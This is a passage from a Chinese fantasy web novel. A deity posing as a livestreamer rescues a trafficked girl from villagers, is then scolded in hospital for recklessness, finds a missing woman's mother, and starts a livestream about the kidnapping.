在场村民们的关注点大都放在前方,关注着村长等人和那些“不速之客”们,最前方的人一刻不停地把那边发生的事实时往后传着。 忽然,有人余光中有什么一晃而过,他下意识转头看去,正见到一个自山坡上奔下的人影—— 看到这个人影的不止一个人。 几乎是在莺芝起身冲下的瞬间,附近几个村民就转头看了过来。 “——她们在这儿!” 压低了的喝声响起,发现莺芝身影的几人,立刻招呼起了身边的村民,这些人便呈合围之势,开始朝莺芝围去。 稍微离得远一些的几个也非常机敏,马上就和左右一起,把这一小片地方给占住了。 他们要拦。 不让她过去,也不让那边的人发现她。 丁老汉一直待在这边的路口,听到动静后忙过来查看,见到是莺芝,他先是一喜,旋即又冷笑起来。 “死丫头,不识好歹——好好招待你不要,那就给你苦头吃。” 丁老汉狠啐,越过身边的老幺,把自家老三喊了过来,“你出的主意,你去把人给我抓回来。” “哎!” 老三没有异议,人是他提议送去郑三家的,这么丢了也确实跟他有关系。 他把手里充当临时武器的家伙什丢到老幺怀里,袖子往上一抹,朝人多的方向走了过去。 莺芝没有回应王诗蔓的低喃,对方现在虽然退烧了,但状态实在算不上多好,明显还不太清醒,处于半梦半醒的状态。 把人牢牢地背好,莺芝径直踏上了马路。 不打算彻底包过来——她观察着周围的情况,脚步未停,猛然提速,直线朝最前方冲去。 打头的村民已经近前,伸手就要抓住王诗蔓。莺芝好似背后长眼一样,脚下往侧里一闪,速度没有丝毫停滞,却已经避开了那一抓。 可这只是个开始。 随着身边的村民越来越多,莺芝向前的路途上障碍也愈多,绝不再是她轻易就能躲开的地步。 乱拳还能打死老师傅呢,何况她现在连傍身的灵力都消耗得差不多了,还带着一个王诗蔓。 上一秒被甩开的村民,两秒后就能越过她出现在她的前方。 甚至没有用得上两分钟,莺芝的去路就已经全被围上了。 村民们前前后后地分布着,把这一段路给占了个全乎。 他们像是高高在上、观看猎物垂死挣扎的猎手。 放任她在人网中做最后的努力,恶趣味地等待着她力竭就擒。 而到了现在,这一段近乎百米的路,她只走出了不到五分之一……十几米而已。 红线小人在她头发上焦急得直打摆子。 莺芝所剩的灵力不足以支撑她强化身体素质、强硬地冲出人群,而这里人多,她也不可能把它身上存着的灵力给取出来—— 她现在连高声喊叫,把声音传递到几十米外、给那边的人听见,都做不到。 怎么办,该怎么办? 红线小人想要跳出去报信,想要替她高喊,但有天庭法规束缚,它不敢,也做不到。 一根线而已,就算声音再大,也传不出去多远。 感受到它的心情,莺芝却没有着急,她避开又一次抡过来、即将要砸在王诗蔓身上的棍子,压着气喘,开口时,依旧是那副没有火星的温声温气的样子: “别担心,没事。” ——怎么可能不担心? 红线小人只有一对红豆做的眼睛,连哭都做不出来。 莺芝不再言语,她确实很吃力。 丁家老三赤膊上前,越过两名几次三番都没能抓住莺芝的村民,浓黑的眉毛下,是一双不悦中透着漠然的眼睛。 他大步跨出,几步就到了莺芝身边,粗粝的大掌抡起,没有丝毫怜惜地朝着她背上的王诗蔓拍了下去。 ——躲不开了! 莺芝全部调动起的感知准确地捕捉到这一点,却也同样无误地分析出了结果。 这一巴掌的势头…… 王诗蔓要是捱结实了,怕是要遭。 没有顾得上再思考,莺芝半步收住,轻盈且迅速地侧转了身体。 啪——! 闷闷的声响下,莺芝觉得自己的头脑都在发懵,嘴里一 阵腥气溢出。 丁家老三这一巴掌,落在了她的侧额。 对方也没想到她会突然减缓速度,更没想到她会突然转身,不可避免地怔了怔。 莺芝一个眼神都没有分过去,咽下喉头的血沫,继续朝外冲去。 “月仙大人!!” 红线小人伏在她发丝上,声音都在颤抖。 “您怎么能——” 莺芝没搭话,她精力精神和体力都实在有限,无意义的话就不回了。 红线小人真觉得自己快哭了:“他怎么敢打您……您还手啊!!” “您把她放下,把他们先打一顿也行啊!” 红线小人声音不大,语无伦次:“您把他们打一顿,也会引起骚动的,也能让他们注意到这里的动静!” 莺芝叹了口气,哭笑不得。 如果真要打,她多少还有一点灵力,确实能打得过不假。 但……它是不是忘了,当时阅读《凡间守则》时,它说过什么了? ——不能伤害凡间之人,那要是他们打我呢? ——没有人会无缘无故打你的! 如果还有余力,莺芝一定要把这段过往好好拎出来问问它,真的吗? 苦中作乐的胡思乱想间,接连又几下击打落在了身上,莺芝忍着痛楚,顶着一口气,全神贯注地朝着目标行进着。 如果不妨碍她们行动,能避则避。实在避不开,只能在前进和挨打之间选择一个,那吃下这一记也无妨。 答应过的事,一定要做到。 无论落在身上的打击有多少,莺芝护着王诗蔓,步伐始终不停。 二十米、三十米…… 就快了。 参与围捕她的村民们却已经有好些人被吓住。 不管怎么抓、都会被逃开,不管打几下、哪怕头上都已经在往下淌血,也还跟没事儿人一样还往前走…… 这还是人吗? 一个女人能做到这种地步? 简直像一只灵活的动物,拖着满身的伤,从层层人网中逃脱…… 她不知道疼? 而当他们和莺芝被鲜血勾出轮廓的那双眼对上,更觉通体生凉,整个人都要僵住。 那是一双什么样的眼啊…… 在这种时候,那墨玉似的一对儿招子里,没有害怕,没有紧张,也没有着急,甚至没有恨和狠,全然是平静的。 ——怎么可能? 她不怕、不疼、不恨。 ……妖怪吗?! “愣着干什么,快抓住她!”老三低低喝道。 “啊、啊,来了……!”旁边两个脚步有些迟疑的村民闻声回神,也意识到了事情的严重性。 天色越来越亮,绝对不能让她再往前走了。 再不抓住,那边迟早发现这边的不妥当。 老三伸手夺过旁边一人手里的锄头,扬手,手臂青筋暴起,把它朝着前方几步处莺芝的双腿掷过去。 锄头来势汹汹,莺芝不得不躲。 只是这一躲…… 几名由村民们肩并肩组成的人墙马上在前方完成闭合。 身后,只剩下了几名老人,以及“殿后”的老三。 他们也改变策略了。 从布网追抓,变成了围堵。 莺芝当即停住,把王诗蔓放下来,把最后一丝灵力渡了过去。 她摸了摸王诗蔓的脸颊,贴到她耳边低声道:“王诗蔓,醒神。” “这是你最后一段路,我帮你开——等我说跑,你就跑起来,什么也不用管,哪里也不要看,向前跑就好。” “一直往前跑,你就能回家了,记住了吗?” 灵力入体,王诗蔓虽然还有点摇晃,但却能站稳了。 她有些依恋地蹭了蹭莺芝掌心,迷迷瞪瞪回神,本能应声。 “……好。” 莺芝眼睛弯弯,轻轻笑了一下。 “好孩子。” “那……你呢?” “只要你能回到家,就代表我也可以回家了。” 收回手,她不再扶着王诗蔓,视线转而扫过面前的人墙,已经有些发白的脸上没有任何表情。 丁家的老三眼睛锁在她身上,阴郁狠厉:“——你不是哑巴。” 语气笃定。 阵阵熟悉的刺痛感自大脑中传来,莺芝有些疲惫地站直身体。 “你是个骗子!”老三冷声。 莺芝抬脚,朝对方走去:“我从没有说我是。” 王诗蔓亦步亦趋跟在莺芝身后。 她谨记着莺芝的嘱咐,始终低着眼睛,看着地面,坚决不往旁处看,地上那一小团影子让她觉得心安。 忽然,身前的人朝着偏离正中心的方向冲了出去,周围一刹那乱了起来,地面的黑影混作一团。 王诗蔓心脏揪起,只听一道温柔的嗓音轻飘飘地落了过来。 “跑。” 王诗蔓没有犹豫,闷头就往前跑。 ——没有人拦她。 真的没有人拦。 她想要回头看一眼,莺芝的叮嘱却像是刻在了脑子里一样,王诗蔓咬着下唇,压抑着回头的想法,朝前狂奔去。 她要回家。 她还带着她们的希望。 她必须回家。 她们也要回家。 …… 莺芝的忽然暴起是所有人都没想到的。 当她忽然朝着他们冲了过来时,饶是老三也有点困惑了——她想做什么? 打架吗? 做最后的反抗? 如果是这样,那也太可笑了。 他绷着脸,拿起旁人手中的木棍,直接朝莺芝迎了上去。 莺芝却没管他,而是脚下一拐,转而扑上了两个拦在路正中的村民。 村民被这反常的一幕惊住,本能还击,莺芝也不还手,一副就打算用身体硬抗的模样。 但不管他们两个做什么反应,有这么个空档,已经足够王诗蔓跑出去了。 没人想得到,王诗蔓那么一个都快死了的人,还能正常下地,甚至还能跑。 反应过来后,立刻有人冲出,追向逃开这边围堵的王诗蔓。 松开的口子再度被合拢,重新围上。 处在圈里的莺芝却不担心。 她甚至心情很好。 没人能追上现在的王诗蔓。 有灵力护持,疼痛被压制,她的行动和常人应该是没有什么区别的。 那么—— 谁还能拦得住一个想要回家的女孩? 至于自己…… 等王诗蔓出现在那边,自己自然也会解放。 只是再等一会儿而已。 这一趟,想做的,要做的,该做的,都已经做到。 很圆满了。 老三拎着棍子走近,本该像块硬石头的人,这会儿像一块滚烫的烙铁。 被怒火灼烧着。 莺芝盘膝坐在了地上,坦然地仰头,甚至带了些笑意看着他。 “很生气吗?” 见老三神情更加晦暗,莺芝轻笑出声。 她毫无血色的唇划开一抹弧度:“我很开心。” “……你开心什么开心!” 熟悉的声音传来,正一身轻松等待着接下来“拳 脚招呼“的莺芝愕然怔住。 不等她循声看去,一道同样熟悉的身影便已经闯进了视线。 拳风凌厉。 怎么看都只是个文弱学者的年轻男性一拳砸到了人高马大的壮汉脸上。 老三手里的木棍“当啷”掉落,手掌捂住脸,却有血沿着缝隙滴落下来,在他衣襟上晕开一片深色。 周围村民们还没意识到发生了什么,已经被这一幕骇住。 一拳把老三打出血了? 这人什么来头,这么大劲? 莺芝:“……” 她呆呆地看着站到了自己身前的文隽,又看看捂着脸闷哼出声的老三。 “……”沉默。 四下都在沉默,除了老三抽气的声音,一片安静。 文隽旁若无人地走到了莺芝面前,伸出了手。 看清她的状况,他不由地闭了闭眼。再睁开时,眼中已经不见了多余的情绪。 手伸出去半晌,见她还在出神,迟迟不动弹,文隽额角一跳,没好气地出声。 “还坐着干什么,被他们欺负得站不起来了?” 莺芝怔怔:“啊?” 文隽:“……我的青天大神仙,地上不凉吗?” 莺芝咳嗽一声,抓住他的手,站了起来。 站起来后,她又瞄了眼老三的状况,轻轻拽了一下文隽衣服。 文隽微低下头,附耳过去:“很痛吗?等我们回……” 莺芝摇头,声音压得很低:“——你没看《守则》吗,规则禁止我们打凡人。” “…………” “哦。”文隽面无表情。 虽然知道这就是她选择被动方案的理由,也知道她就是这么个完全守序性格,文隽还是无比无奈。 都什么时候了,还在意这个吗。 她还好意思提天庭的规矩! 天庭还默认神仙的安危高于凡人呢,她选择为了几个别凡人孤身犯险时,怎么不多顾着自己一点? 哪怕多找点援手一起呢? 这时,杵着拐杖的丁老头姗姗来迟,目眦欲裂。 “——还发什么呆呢?干什么吃的你们?!” 被老三下巴上的血迹刺到,他怒从心来:“——就俩娘儿们都抓不住,还给放进来个小王八羔子?!” 村民们也都猛地醒神。 是啊。 就算再能打,也就一个人。 郑三家的那个死丫头有人去追,这边他们得赶紧把人也抓住才行。 “别留手了,直接上!” 郑三也跟着上前,指挥道:“快点抓住,带回村里去,别拖了!” 有了明确的指令,踌躇犹豫的人也都有了主心骨,再不多想,拿起武器,一齐冲向了莺芝二人。 文隽反手抓住莺芝的手掌,渡了一些灵力过去,随后把她往身后再护了护,稍一偏头:“保护好自己。” 灵力入体的瞬间,脑中千万根尖利的针都仿佛消去了许多。 莺芝压下喘息,沉静点头:“你——” “打一个也是打,两个也是打,反正也犯规了,不打够本,我岂不是亏了?” 莺芝:“……” 你说的好有道理。 但,是这么换算的吗? 神仙和凡人的壁无异于天堑。 凡人所谓的“不能冒犯神仙”,不是没由来的。 当一个神仙不选择被动承受时,哪怕只是凭借身体本身的素质来对抗,说是单方面的碾压也没区别了。 等崔梦语带着警察医生等一干人等,理直气壮、气势汹汹冲过来时,见到的就是孑然站立的文隽,和七歪八倒,嗷嗷叫痛的村民们。 崔梦语张大了嘴巴。 这…… 虽然从这人刚刚冲破防线跑过来就能知道他很不一般,但也没想到,能这么不一般啊…… 这体格,这身板,这气质,哪里能看出来是个“打匠”? 不过好在她还知道自己是来做什么的,崔梦语视线一转,就看到了衣服沾灰,面染血迹,身形飘摇、几乎快要倒下的莺芝。 她眼眶一热,直接冲上前去,给莺芝充当了人形拐杖。 “小莺,你怎么样?” “医生、护士——担架!!” “我没事,不要着急。”莺芝笑道。 “你都这样了,怎么可能没事!”崔梦语两眼通红,“他们太不是人了,怎么能这么对你?” “你不要担心,刚刚那个女生,也已经得到救治了。” “她身上好多伤,硬是闹出了那么大动静,我们才能过来……医生说没有生命危险,放心,你们都得救了。” “之后的事交给我们,我们一定会为你们找回公道,那些恶人会得到该有的惩罚的!” 莺芝听她一件一件叙述,听到最后,温声笑道:“好久不见。” “……好久不见。”说起这个,崔梦语却不再像先前那么妙语连珠,像是想起了曾经,有些踌躇,“我最近……在这边做志愿者……就……” 看着这个数月没见,却已经大变了模样的姑娘,莺芝笑容渐渐漫上温度。 “好姑娘。” 崔梦语一愣,脸颊顿时热了起来。 “……嗯,我在努力。” 莺芝无声笑了笑。 王诗蔓,崔梦语。 都是顶顶好的姑娘。 她这一趟,真的来值了。 …… 市区某医院,临时病房中。 王诗蔓去检查了,房间里现在只剩下了两个人。 莺芝忧心忡忡:“你会被罚的……不过这个罚的是什么,功德吗?你放心,我会负责的。” 为了她下来就已经够意思了,现在又摊上这种官司…… 她担忧地把洗好的苹果递过去。 文隽接过苹果看了看,拿起小刀,削皮。 觑见莺芝的神情,他顿了顿,到嘴边的“不用”又咽了下去。 “我看他们不爽,想打。” 莺芝:“?” 做神仙的,因为这种理由就对凡人出手,太幼稚了。 哪里是合格的神仙该有的样子。 文隽眨眨眼:“看他们挨揍,你不觉得痛快吗?” 莺芝:“……痛快。” 抱歉,她好像也不是个合格的神仙。 唉,这可怎么办! 第73章 ……她在哪? 文隽在这里没待多久,确认莺芝没有什么大问题后,又给了她点灵力暂时顶用,就离开了。 来去匆匆。 知道年末可能都比较忙,莺芝只能先口头感谢一下对方的热心帮忙,并再度承诺之后一定回去请他吃饭,把人给送走了。 因事件特殊,警方以及社会许多部门都关注着这件事,医院也高度重视,给莺芝和王诗蔓暂且安置到了同一间病房。 王诗蔓被送回来时,人还躺在病床上昏睡着。 她浑身上下多处都打着绷带,脸上也还带着各种擦伤。 据说当时她闹出动静引得关注,让僵持的对峙局面彻底被打破时,那已经是个足够让所有人看清发生了什么的距离。无论追上来的村民再解释,也不可能被轻易糊弄过去了。 而王诗蔓,和近在眼前的接应人汇合后,她大喊着后边还有人受伤等待救援,直到亲眼看到有人强行破开拦路的村民联合、进入被封锁的区域,她强撑的一口气才散掉,陷入了昏迷。 一昏,就昏到了现在。 前来给她上药换药的护士们心有余悸。 “真不知道是怎么过来的……身上就没有一块完好的地方,体内多处出血,还有肋骨骨折……身体已经给折腾得不成样子了,精神估计也崩溃了……” 相反,当时牢牢护了王诗蔓一路,沾着血迹、看着似乎更为狼狈的莺芝,检查后却几乎没有受到什么伤害,只是皮肤有几处轻微的擦伤。 “你们的事我听接你们回来的他们说了……不是我说——你真的太莽撞了!” 给莺芝清理伤口,上药包扎的护士小姐姐板着脸,就差把“不认同”写在脸上了。 “就算你是救人,但不能选一个更稳妥的办法吗?他们这是没打到你要害,要是打偏一点,把你打成脑震荡、颅内淤血、或者其他更严重的问题怎么办?” 虽然是在被训……莺芝眨眨眼,明智地决定先做一个乖巧的鹌鹑。 “救人的前提是保全自己!” 护士小姐姐动作温柔,甚至都有点小心翼翼,生怕弄疼了莺芝,但语气却十分严肃,毫不留情: “我知道你是想着让她快点得到救助、所以这么过激,但这是非常不可取的,以后千万不能再这么做了!” 莺芝没有解释自己其实心里有谱,这都在预料之中。在王诗蔓能够第一时间得到 救助的情况下,她完全能够接受这样的损失,哪怕更大一点也能接受。 “……你是不是在想,自己受点伤无所谓,反正她能被救就行了?” 护士盯着她的神色,嘴角一抽,手上也加了点力道: “要是你都出事了,昏迷了,骨折了,丧失行动力了,那她该怎么办?——不要总想着舍己为人!那很高尚吗?……那确实高尚,但其实很笨!但凡他们打偏一点,你就完了!” 莺芝:“……” 很笨吗? 她确信自己在执行中不会出问题,那些要紧的攻击都会被躲开,最多也就是一点皮外伤而已。 毕竟对面只是一些凡人。 心中是这么想的,但顶着护士小姐姐恨器不成的眼神……莺芝缩了缩脖子,被动开始了自检。 带王诗蔓一起往外走,关键时候用自己做饵送她离开,这是她基于“要带她回家”的感性承诺下,从神仙的角度上出发做出的选择。 损失和收获的比例,在神仙看来也是完全值当的。 不过顺着护士的话往下想的话…… 如果她是个普通凡人、或者说,万一在执行的过程中稍微出了点什么岔子……那确实会遇到那种情况。 换而言之,现在的情况,在别人看来,她可能是……——情感蒙蔽,有点上头? 莺芝哑然。 但她是知道的呀,自己不会出错,那些人也确实伤不到她多少,不管再凶恶,也只是凡—— ……等等等等。 不妙啊。 ……是不是神仙病犯了,无意识间就有点轻慢了对手? 莺芝思绪顿住,被动的反思被厘开,她微微蹙眉,陷入思考。 既然在凡间做事,还是得多多以凡间的思路来思考问题。 如果换成凡人的视角……加上神仙的小手段作辅助—— 会有更好的、容错率更高的方式吗? 比如…… 用全部灵力护着王诗蔓,藏起来和村民对着耗? 他们毕竟要吃饭睡觉,不可能全天候都等在这里;哪怕只是换岗时人少了一点,有红线小人在外叫人做接应,届时再突围也不是问题……应该可行。 或者,利用自己带的通讯设备没能被发现的优势,发动钞票的作用? 直接用手机远程租一个车队,抑或网络上高价聘请一些保镖,让他们来接人,他们和有关部门不一样,相对自由许多……有钱能使鬼推磨,这个好像更可行。 退一万步,她也完全躲在有信号的地方,直接开直播? 既然要用舆论这把刀,那不如运用得更彻底,发动社会上的爱心人士组成联盟前来。 而且以她现在的粉丝数和社会关注度,这个方式甚至成本更低,可行性也更高。 ……这么一想,就算不把王诗蔓一个人丢下,始终陪在王诗蔓身边,也确实还有很多其他方法。 王诗蔓已经暂时退烧,虽然身上的痛楚还在,但有灵力在,勉力做辅助帮她镇痛,多等个一半天也不是不行。 这些方案虽然耗时更久,相对却也都更稳妥一些,几乎可以说是没有什么需要承担的损失…… “……是,好像是有点笨。”莺芝诚恳。 什么百万粉的网红主播,什么心怀他人的神仙,此时此刻,都得老老实实听着来自凡人医者的善意责备。 虽然不知道她想了点什么,但看她态度还算端正,护士小姐姐语气也缓和了很多,带着点心疼。 “你是她的希望,所以你要先保证自己能安全离开,再带人回去救她啊……” “医院里见过太多见义勇为结果把自己搭进去的人了,每次都是大片的眼泪……你就没想过,就算她得救了,可是你受到了难以恢复的伤害,她醒来后难道就不会有心理负担吗?” 莺芝低头,认真反省。 经了前些天的人气变现赚香火活动,还有这回的网络求救,她还觉得自己现在善用自己的“凡间身份”——大主播了呢。 现在看来,用得完全还不够。 想要推广姻缘殿的事业,提升业绩,还得更融入凡间、更活用凡间的社会规则一点。 活用啊…… 有些事,也确实该提上来做了。 思及此,莺芝想了想,对护士提问道:“我现在可以暂时离开吗?” “离开?”护士一愣,“去哪?你虽然没受什么伤,但是精神这么差,现在还是好好休息吧。想洗澡换衣服的话,虽然你不需要住院,但可以先穿病号服。” 莺芝没有坚持,转而又问道:“那,我可以在这里开直播吗?” “直播?”护士恍然,“啊,差点忘了,你是主播——可以,这件病房里只有你们俩,你只要别吵到她,声音小一点就行。” “我看网上很多人都在问这件事,你开个直播,和他们报一下平安也好。”她说着。 “好,我知道了。” 护士们离开,莺芝查看了一下王诗蔓的情况,看她呼吸平稳,便也放下心来。 因为是特殊社会性事件,医院给她们安排的是高级的独立病房,相应设施都很齐全。 莺芝从衣柜里取出一套干净的病号服,简单洗了个澡,正在擦拭头发时,崔梦语回来了。 她身后还带着几名或年轻或年长的女性。 “小莺,我们来啦——咦,你也要住院吗?” “不是,我暂时没有干净衣服换。” “哦哦,差点忘了,晚会儿我给你带几件。”崔梦语道,“对了,这几位都是对这件事很关心的前辈,听说你和王诗蔓到市里了,就来看看你们。” 莺芝对她们笑了笑,礼貌地一一打过招呼。 当中,最为年长的那位女性两鬓已经全白,脸上都出现了许多斑块,但她步履间仍然平稳,精神矍铄。 她看着床上的王诗蔓,慈祥的面容显出几分冷厉。 “好好的孩子给害成什么样了……这些该下地狱的!” 而对着莺芝时,又全然是和蔼爱怜:“……孩子,你们放心,你们收到的委屈,咱们都会给你们讨回来。” “看到你们能安然无恙,我真的很高兴,很高兴……” 闻言,崔梦语偏开头,抹了把眼泪,悄悄和莺芝解释: “老师的女儿也是读大学的时候失踪了,三十多年了,一直没找回来……现在看到你和王诗蔓,有点代入了吧。” “我听老师说过,双双是个很好的女孩……唉,人贩子就该千刀万剐。” 她叹了口气,不再提这种伤心事。 “对了,你说有什么让我们帮忙找人的,找什么人?” 莺芝点点头,从新取出做伪装的小包里拿出一个本子,写下了几行简体字,递了过去。 “找找他们,联系一下。” 崔梦语接过:“王永元,钱秀英,1xx……xxxx,还有电话呀?” “嗯。”莺芝道,“王诗蔓的家人,她之前提过一些,我记下来了,你们更官方一些,去联系也更可信。” “他们丢失的女儿被找到了,应该会很想快点来见面。” 虽然等王诗蔓醒了再让她自己联系也可以,但还是提前联系,让双方都少一些等待要更好些。 “好,没问题,等下就打。” 崔梦语点点头,继续看下去。 “周兴学,周宜嘉……咦,这名字有点耳熟啊 ?“她念出内容,有点疑惑,“而且这个怎么没电话了?” 莺芝还没说话,王诗蔓床边,坐着的几位妇女联合会的人员里有一位听到她们的交谈,搭了腔。 “你们要找周宜嘉?那不就是周老师么。” “周老师?” 崔梦语一愣,旋即闪过明悟,看向了莺芝,“对啊,周宜嘉是周老师的名字……小莺你找周老师做什么?” 她眼睛连眨,不住地瞟着坐在空床边上的那位年长女性。 这位和善的妇女联合会干部……周宜嘉? 这下轮到莺芝意外了。 不过结合刚刚崔梦语说过的话……似乎也正好能对上。 被她们一而再再而三提起大名,周老师也已经看了过来,目光中携着些长者特有的温和与关怀。 她对莺芝似乎天然有着好感:“怎么了,丫头?” 莺芝看着她,双眼微凝,似在观察什么,片刻后,她微微迟疑。 “请问,你女儿叫?” 周老师微怔,没想到会是这么个问题,旁边几人都脸色一变,估计想问问莺芝怎么突然问这种揭人伤疤的问题。 周老师却不是很在意,态度温和: “周双双。” 她眼睛弧度稍稍弯起,追忆似地,透过莺芝,看向了另一个女孩子: “因为我和她爸爸都姓周,所以给她起了这么一个名字,大家都双双、双双地叫,从一个小不点叫到了亭亭玉立的大姑娘……是不是很可爱?” 莺芝却没有笑,眼中连零星的笑意都没有了。 “你的丈夫,叫什么?” 周老师仍旧很温和,没觉得被一个小辈问这种问题是冒犯,笑眯眯地答:“周兴学。” “周兴学?!” 这次,有点失态的是崔梦语。 她震惊地低呼出声,确认般地又看向手中的纸张。 周兴学,周宜嘉…… 确实是没错。 这么说,小莺找的,就是周老师夫妇? 可是,找周老师夫妇做什么呢? 崔梦语大脑飞快地转着。 刚刚那两个人名是王诗蔓的家人,那周老师夫妇—— 等等,小莺刚刚还问周老师的女儿叫什么…… ——难道说?! 到了现在,见到崔梦语的反应,所有人都注意到了似乎有什么不同寻常。 周老师也做出了洗耳恭听的姿态,等待莺芝的下文。 莺芝闭了闭眼。 “你——认识周文妤吗?” 崔梦语疑惑:“周文妤,好耳熟……这不是你直播里说过的QAQ的妈妈吗?” 不是正在说周老师吗,那也应该是双双啊,怎么说到了另一个—— 不,不会吧? 周老师的神色也有些疑惑,只是一晃而过,旋即化作恍然。 “文妤……是双双上大学后改的大名,她嫌双双听起来太孩子气,她从小就是个有主意的,我们也拗不过,就陪她去改……” 说着说着,她的声音逐渐变轻,乃至彻底消失不闻,转向崔梦语时,一双老眼已然糊满泪水。 “……谁的……妈妈?” 崔梦语张了张嘴,还没说话,也已经要掉下眼泪来。 她不止记得小莺说过QAQ的妈妈叫周文妤,还记得她说过,QAQ的妈妈已经去世了…… 但是,这要怎么和周老师说? 她之前就没少听说过周双双的事,尤其是从那些稍微上了点年纪的叔叔阿姨们那儿,每每听起他们提起周双双,都是一连声称赞。 什么小学就跳级,长得漂亮,性格活泼讨喜,成绩优异,大院儿里的活宝,少儿组歌唱比赛冠军,爱跳舞,考上了最顶尖的大学,谈了个踏实能干的帅小伙儿…… 大家都说,双双那么聪明,那么优秀,虽然没有被找到,但肯定在别的地方生活得很好。 潜移默化地,崔梦语也觉得,肯定是这样。 但现在,就这么突然地,她忽然意识到了那个传说中的女孩儿、周双双的死亡,意识到了周双双这些年过的什么日子,意识到了现实。 ——这些话怎么能说给周老师听呢? 连她都控制不住地想哭,更何况周老师呢? 这也太巧了,偏偏小莺就遇到了周双双的儿子求卦,偏偏小莺就来到了这里,偏偏小莺就见到了她们—— 命运怎么能这样呢? 这也太残忍了。 莺芝也轻轻叹了口气。 难怪,难怪她从万措那里看的时候,只看到了对方的母亲叫做周文妤,没有周双双。 刚刚看周宜嘉的缘线时,女儿却叫周双双。 在做万措母亲的三十余年里,她在凡间的正式姓名叫做周文妤,而不是做乳名的周双双。 而对于作为母亲的周宜嘉来说,她记忆中的女儿,陪伴自己最多时刻的女儿,确实叫做周双双。 这是何等的阴差阳错。 如果不是正好在这里遇到,在这里揭开,而是再去以官方的、系统的方式从失踪女孩名单中核对父母的名字、怕是要更费一番功夫了。 这么看,仅凭观缘,也有不能尽善尽美的时候啊。 除非某一天,自己的关注度大到,连周宜嘉周兴学这种老老一辈的人们也会观看自己的直播,知晓自己直播的信息,才能达成没有信息差的结果。 不过这些,留后再谈吧,现在最主要的是…… “是的,我知道周双双在哪里。” 莺芝开口,代替了泣不成声的崔梦语,给出了在场所有人一个答案,“也就是周文妤。” 一名中年女性起身,扶住了身体摇晃的周宜嘉,将信将疑地发问: “双双她怎么样了?” “她已经去世了,就在前几天。” 周老师老泪纵横。 旁人却还有疑问:“你怎么能确定是双双?” “有照片吗,还是什么别的信息?” 发问的人歉然解释,“不是不信你,是因为双双失踪太久了,中间也有几次误以为能找回来,结果都是空欢喜一场。周老师年纪大了,不能再受打击了……” 崔梦语抹着眼泪,哽咽着为莺芝说话:“小莺她会算卦,早在之前就算出了周——双双的存在,之所以来到这里,也是奔着双双的信息来的,没想到却也遇上了被拐的事儿,顺便救出了被囚禁的王诗蔓。” “真的是双双?” “小莺说是,肯定就是。她也是凭自己的本事算出周文妤父母的名字的——这不,刚刚给我,让我去寻找和联系呢。” 还有人要问什么,被周老师按住,阻止了下来。 她双眼模糊,直直地望向莺芝: “……双双她……在哪?” …… 送走妇女联合会的一干人等,莺芝坐回了床边,揉了揉眉心。 之前那个小县城的那个旅馆前台、老太和妇女,以及光头几人的大致资料信息,莺芝已经在警察送他们回来后就都提交了上去,附带的还拷贝了几份相关的录音过去。 此时此刻中,警察们肯定很快就会做出反应,抓捕贩拐的几人应该容易,但还不知道对方会做出什么狡辩的话,而且,买方也很难定罪。 至于他们之间会不会有什么勾连……相信妇女联合会和其他相关部门都会出手。 而话说两头,村里人没能抓回他们,估计也将有所动作。 虽然他们的动作估计做不大,也不会对己方再有什么威胁,最多也就是想着怎么统一口风、在未来有可能面对的警方盘问之下洗白自己,但还是不得不重视起来。 毕竟,人永远无法想象人能黑暗到什么地步。 所以得掌握更多的主动权才行。 他们再次出动,去往村里取证,肯定不会再带上她们,但…… 莺芝回想着周宜嘉刚刚的表情,又叹了口气。 原本还打算等找到周文妤家人之后再继续,有了刚刚的见面,的确省了不少的时间。 可能是下凡时多少带了点的气运在起作用。 她已经和周宜嘉确认了后续安排,等那边准备好,就会来接上她一起行动,重返山村。 遵纪守法,但剑走偏锋。 不和当地相关部门一起,但拉起同样正规、且代表着更多势力注意的队伍,以另一个理由,堂而皇之地回返。 让有可能会被揭过的事实,永远没有被掩埋的机会。 那么现在要做的…… 莺芝检查了一下自己身上的衣着,在病床落座,确保镜头不会拍到另一边休息的王诗蔓后,点下了屏幕。 引起更大的关注。 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 详情:【千里姻缘一线牵,没准落到你身边——免费定缘,缘定三生~走过路过不要错过了诶!】 不大的屏幕中,头上裹着纱布、身着病号服的女性坐在那里,身后墙面上是洁白的瓷砖,单看整个画面,就有种消毒水的气味快要扑面而来的感觉。 【您已开启直播,说点什么吧!】 熟悉的字眼跳出,莺芝微微整了整表情,还不等开口,弹幕就已经滚动了起来。 【啊啊啊小莺你终于出现了!我担心死了!】 【主播没事吧?!】 【你现在怎么样,在医院吗?已经得救了吗?】 【看起来好惨的样子,发生什么了啊主播?】 …… 和第一次直播时的无人问津截然不同,莺芝直播开启的瞬间,在线人数已经在疯狂地攀升着。 莺芝摸了摸头上特地缠上的纱布,压下了一点点有点夸大事实的心虚。 她回忆着自己灵力缺失时的状态,虚弱地笑了笑:“我还好,谢谢大家的关心。” “是的,我已经得到了救助,离开了那里。” 她这么一句回应,无异于正面承认了网络上关于她“被拐卖”“被囚禁”的猜测。 一石激起千层浪。 【我擦果然被拐卖了?有没有王法了这个社会?!】 【天啊……一个这么大的主播都能被拐……我们普通人该怎么办?】 【运气太好了,这也能跑出来,好多被拐的根本没机会逃出来。】 【太恶心了,人贩子能不能都枪比啊?】 【哪里啊小莺,是你发动态时候定位的那个地方吗?】 【你还记得人贩子的样子吗?有照片吗?把他们曝光!统统曝光!】 …… 【曝光就不要了吧,死刑犯还有隐私权呢……这不是跟开盒人家一样了吗?】 【众所周知,人贩子没有人权哈^^】 【主播这里是唯一可能得到信息的地方了吧,要是她这里都不能说,那之后更没得知道了。】 【支持曝光+1,而且主播是受害者啊!受害者揭露加害者,这难道不是理所当然的吗?】 …… 莺芝满打满算也只说了两句话,直播间观众们已经群情激奋,难以控制。 “这是一个产业链,以各种方式哄骗受害者上当,进行拐卖,大家出门在外,都要保护好自己,提高警惕心……” 莺芝又露出了个虚弱但坚强的笑:“关于这件事……我手里确实有一定的信息,但并不方便过多透露,我们等待公正的裁决就好。我相信,有关部门一定会给受害者一个公道——” 【公道,王法,他老大爷的,这社会还有这种东西吗?】 【我们这儿还是相当不错的好吧!还有哪个国家有我们能做到这种公正的?主播说的对,等着就好。】 【你们没看那个地方的官方媒体吗,出通告出的那叫一个快,已经在洗了,说小莺这个是个例,他们那儿绝对没这种事——】 【我支持先观望,毕竟他们犯法,我们却不能也犯法。以暴制暴不就也成暴徒了吗?最好还是走正规途径。】 【那就等着,要是官地勾结,互相打掩护,那主播你一定要把东西爆出来啊!我们会支持你的!】 …… 